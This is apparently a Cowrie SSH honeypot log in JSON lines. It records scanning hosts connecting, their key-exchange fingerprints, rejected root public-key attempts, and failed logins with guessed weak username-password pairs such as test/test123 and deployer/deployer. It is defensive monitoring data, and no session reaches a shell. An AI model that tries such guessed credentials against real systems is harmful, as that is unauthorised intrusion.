{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.724425Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.764630Z","src_ip":"103.75.199.4","session":"9df5b6a2a8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.040967Z","src_ip":"103.75.199.4","session":"9df5b6a2a8f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:0a:33:78:ca:37:36:dc:f4:ed:10:ba:2a:04:2c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwR6imOPocIbVdZK1lF2pu69slQCL9pH1QYXOnxcHlAwKn37Bzap/ZazMEG6P925BIhV1vluQ7f7BIfs88So61w/HRufo8NQ3K7KVXAFIXn6WYssnxoT5vGym9wVy3DGUJLK1TJj3nxk8r22aIR1qzHtDpRg9nChKLAGscC5rtvkPI2dhu2jD0QqbhpPCaYWAJOWkRoUino1YNsSWSsuA7xEqKXUdZqdA4niAlfdm/5lOvvi53IExa5hKPajKOpP85BWke+8cQL95xttCoCyTW+cvgFp2ZaJth3XmDjfUrLgUosVKqmKHKPLPwpUqgGk2Ir9mUgHX21DvzWH7G03L8QRGyRwNmXrxv8ldXKmLc8OZhjKJ01BNvoSlORAH3U6VJi+zNU2POJDelHe8mbdz131QpFkFV2p05wW/qnLMlLt7kdilTORVUR6za63xKKy7+KVe3d3orYLkOPE4kc7lveeieyGb777jjSpjuhe1RnKO8hA54xj11AFdgLvaanNM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:0a:33:78:ca:37:36:dc:f4:ed:10:ba:2a:04:2c:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.076349Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:0a:33:78:ca:37:36:dc:f4:ed:10:ba:2a:04:2c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwR6imOPocIbVdZK1lF2pu69slQCL9pH1QYXOnxcHlAwKn37Bzap/ZazMEG6P925BIhV1vluQ7f7BIfs88So61w/HRufo8NQ3K7KVXAFIXn6WYssnxoT5vGym9wVy3DGUJLK1TJj3nxk8r22aIR1qzHtDpRg9nChKLAGscC5rtvkPI2dhu2jD0QqbhpPCaYWAJOWkRoUino1YNsSWSsuA7xEqKXUdZqdA4niAlfdm/5lOvvi53IExa5hKPajKOpP85BWke+8cQL95xttCoCyTW+cvgFp2ZaJth3XmDjfUrLgUosVKqmKHKPLPwpUqgGk2Ir9mUgHX21DvzWH7G03L8QRGyRwNmXrxv8ldXKmLc8OZhjKJ01BNvoSlORAH3U6VJi+zNU2POJDelHe8mbdz131QpFkFV2p05wW/qnLMlLt7kdilTORVUR6za63xKKy7+KVe3d3orYLkOPE4kc7lveeieyGb777jjSpjuhe1RnKO8hA54xj11AFdgLvaanNM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.080346Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:da:77:e8:33:aa:f3:29:05:f0:0e:5f:8f:41:e2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe109UYjOJ0nha9xYzkE19ntLNr8YFw7RC5GURPfzxnno6ZMv/11LfG6u43Yhr/hZiSgZ+tAPQ7s1zPRe3ng8s+7KxrK/3qG+OvLv/1czIAPrCRNetV2E+lsJzC9/2AniEIW1/diKoSni7FcAs5+WBvjtyYTUNGpv5Zs4lLYHbqhFDdJrptkvIFEnLeRjnUQzKGLobHGbWM62K+oNiJXBcV1bz5laDN5zZ+CtDUTazk4c2/UDPaJqt8EyRLxcK1OfSFOODtkKQQUdyw/VtnReM6a5TkGKZGNcYk7v+GnYf4qTPpgMLiwc5kaAF2QrUgdGjtClAN9PzGleg/IdJQHcF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:da:77:e8:33:aa:f3:29:05:f0:0e:5f:8f:41:e2:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.163028Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:da:77:e8:33:aa:f3:29:05:f0:0e:5f:8f:41:e2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe109UYjOJ0nha9xYzkE19ntLNr8YFw7RC5GURPfzxnno6ZMv/11LfG6u43Yhr/hZiSgZ+tAPQ7s1zPRe3ng8s+7KxrK/3qG+OvLv/1czIAPrCRNetV2E+lsJzC9/2AniEIW1/diKoSni7FcAs5+WBvjtyYTUNGpv5Zs4lLYHbqhFDdJrptkvIFEnLeRjnUQzKGLobHGbWM62K+oNiJXBcV1bz5laDN5zZ+CtDUTazk4c2/UDPaJqt8EyRLxcK1OfSFOODtkKQQUdyw/VtnReM6a5TkGKZGNcYk7v+GnYf4qTPpgMLiwc5kaAF2QrUgdGjtClAN9PzGleg/IdJQHcF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.166566Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:93:db:88:93:f6:c2:c7:7d:d7:27:50:55:c8:a9:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPEGyTJUuco9jB3BsJ+f0nFYsGHvV8guGDjVc98huW8vrwGmrDcU0Qvpiw56XTZcvNIDzwNAEO7Fa0tfs7RV1luVc3AzXD07NVA0h222zSoXbB+7KpOsPnWrXQHzvWEnqVTJkPZYjxlwiX2vZ8Iq0r3f5LbRhypABjNnuwpqU1XewRCssnFunKGKL4ChagzQaPSMhyF7m5sTy97rtXXTbFP61GJAGis60FxfuN8+bZ2qn0RMBl1xO0ujp8DVz9KXywe4Z9KY4q7sG76cCRz7B6OmS1JT+Iz/Qdh09YKxs+sAu5e89RO9HK600szsAMWaYA00Ibl9EJjwSuQGX9QYTr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:93:db:88:93:f6:c2:c7:7d:d7:27:50:55:c8:a9:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.243492Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:93:db:88:93:f6:c2:c7:7d:d7:27:50:55:c8:a9:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPEGyTJUuco9jB3BsJ+f0nFYsGHvV8guGDjVc98huW8vrwGmrDcU0Qvpiw56XTZcvNIDzwNAEO7Fa0tfs7RV1luVc3AzXD07NVA0h222zSoXbB+7KpOsPnWrXQHzvWEnqVTJkPZYjxlwiX2vZ8Iq0r3f5LbRhypABjNnuwpqU1XewRCssnFunKGKL4ChagzQaPSMhyF7m5sTy97rtXXTbFP61GJAGis60FxfuN8+bZ2qn0RMBl1xO0ujp8DVz9KXywe4Z9KY4q7sG76cCRz7B6OmS1JT+Iz/Qdh09YKxs+sAu5e89RO9HK600szsAMWaYA00Ibl9EJjwSuQGX9QYTr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.247910Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:67:73:48:43:6f:38:22:fc:d4:82:ab:e7:8c:b2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYy4lqH/QcAlUdlY2c1KleuvUIMbs821Hjy80PQXb83xeiwKkTBC0YnaeOJcSinI3xOg45GZ/5cUxz/QpHBcFyQALmQcmrt/xwo2jzVxIrbVaYfJuIcs0P/9AeAtuduz/RIlWRXuOBDN0VwigGcXtIHFaluBR+VllV06kAD31P314rCV5fOwzqlWISW8pAppyRS1CjRMFzeVg7NHlruDFeCeYLYIXIF4EUOrkcnwi4aDFtIaIRIXEWAQPx2I2kd7oQsl8FOtuDuNL2MAqBbLISFEjrFcjaBxBTCWQ4zSEQzdEFhI6KdPw5IyIy+fLKTrV+a3yfI2uoCK7et5/XoAFT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:67:73:48:43:6f:38:22:fc:d4:82:ab:e7:8c:b2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.325273Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:67:73:48:43:6f:38:22:fc:d4:82:ab:e7:8c:b2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYy4lqH/QcAlUdlY2c1KleuvUIMbs821Hjy80PQXb83xeiwKkTBC0YnaeOJcSinI3xOg45GZ/5cUxz/QpHBcFyQALmQcmrt/xwo2jzVxIrbVaYfJuIcs0P/9AeAtuduz/RIlWRXuOBDN0VwigGcXtIHFaluBR+VllV06kAD31P314rCV5fOwzqlWISW8pAppyRS1CjRMFzeVg7NHlruDFeCeYLYIXIF4EUOrkcnwi4aDFtIaIRIXEWAQPx2I2kd7oQsl8FOtuDuNL2MAqBbLISFEjrFcjaBxBTCWQ4zSEQzdEFhI6KdPw5IyIy+fLKTrV+a3yfI2uoCK7et5/XoAFT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.329183Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:43:fb:58:85:c9:b4:8e:e0:ff:c0:b3:73:06:c5:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdIzVhKSBeia7QYlK2hfkHbIhr9ZOk8iulsoWhnkqh/53ge3i9Y0kouh7LfbEfNrsnOcTBc0xMZUIFtfJef8F3dlgfT9ayWUXz1ErUXTQ28H+v/T/2IGM71D5Uy7lU9kTtuLqhLfYXTY6Ttge2b4RhhX67SWTDpkYM7lSAbDbsSxoNz2eZWHbSIhTeUq+e1gpm86jIxPUCc9cwSTieS6L+T0exhFWticZF5zWHV0XtRAuGiJ9Lt5FV+lpgJyV2/wxkJhvZJTkeIFodux6LkqMHSwVzGpud0ywRaEfWliIx56dzf5jf5cn1iw70sW17DvYJ47QxtJFTiAlETt+8mx+JGI8po6uRn9Ueyapw5WG1j/1JRP7/ChMWraGv+v+t0J373499jViKn7w3a+QsVdYml9cWT3wMQG8k5czmFEJZ4XSt+uqEfwat2GyUNQxbQqFs3RiYDZBCSNqD37bu6t921o2makK7y22/QVPGQtQwVRJ30U1yiPNGdUuFQfryN4U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:43:fb:58:85:c9:b4:8e:e0:ff:c0:b3:73:06:c5:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.403340Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:43:fb:58:85:c9:b4:8e:e0:ff:c0:b3:73:06:c5:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdIzVhKSBeia7QYlK2hfkHbIhr9ZOk8iulsoWhnkqh/53ge3i9Y0kouh7LfbEfNrsnOcTBc0xMZUIFtfJef8F3dlgfT9ayWUXz1ErUXTQ28H+v/T/2IGM71D5Uy7lU9kTtuLqhLfYXTY6Ttge2b4RhhX67SWTDpkYM7lSAbDbsSxoNz2eZWHbSIhTeUq+e1gpm86jIxPUCc9cwSTieS6L+T0exhFWticZF5zWHV0XtRAuGiJ9Lt5FV+lpgJyV2/wxkJhvZJTkeIFodux6LkqMHSwVzGpud0ywRaEfWliIx56dzf5jf5cn1iw70sW17DvYJ47QxtJFTiAlETt+8mx+JGI8po6uRn9Ueyapw5WG1j/1JRP7/ChMWraGv+v+t0J373499jViKn7w3a+QsVdYml9cWT3wMQG8k5czmFEJZ4XSt+uqEfwat2GyUNQxbQqFs3RiYDZBCSNqD37bu6t921o2makK7y22/QVPGQtQwVRJ30U1yiPNGdUuFQfryN4U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.407572Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:18.483444Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:19.134538Z","src_ip":"103.75.199.4","session":"9df5b6a2a8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8beaea03915","protocol":"ssh","message":"New connection: 43.163.119.215:58946 (10.17.0.5:22) [session: c8beaea03915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:37.919759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:37.930593Z","src_ip":"43.163.119.215","session":"c8beaea03915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:38.157322Z","src_ip":"43.163.119.215","session":"c8beaea03915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"60fd410c59f3","protocol":"ssh","message":"New connection: 43.163.119.215:36182 (10.17.0.5:22) [session: 60fd410c59f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:38.613030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:38.617689Z","src_ip":"43.163.119.215","session":"60fd410c59f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:38.858239Z","src_ip":"43.163.119.215","session":"60fd410c59f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.063953Z","src_ip":"43.163.119.215","session":"c8beaea03915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46926,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b3295cabbd2","protocol":"ssh","message":"New connection: 103.75.199.4:46926 (159.203.135.109:22) [session: 2b3295cabbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.549496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.554071Z","src_ip":"103.75.199.4","session":"2b3295cabbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.574315Z","src_ip":"43.163.119.215","session":"60fd410c59f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.644958Z","src_ip":"103.75.199.4","session":"2b3295cabbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:39.975986Z","src_ip":"103.75.199.4","session":"2b3295cabbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:40.297515Z","src_ip":"43.163.119.215","session":"c8beaea03915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":33706,"dst_ip":"159.203.135.109","dst_port":22,"session":"d30fce98213a","protocol":"ssh","message":"New connection: 154.83.196.237:33706 (159.203.135.109:22) [session: d30fce98213a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:40.775099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:40.780260Z","src_ip":"154.83.196.237","session":"d30fce98213a","protocol":"ssh"}
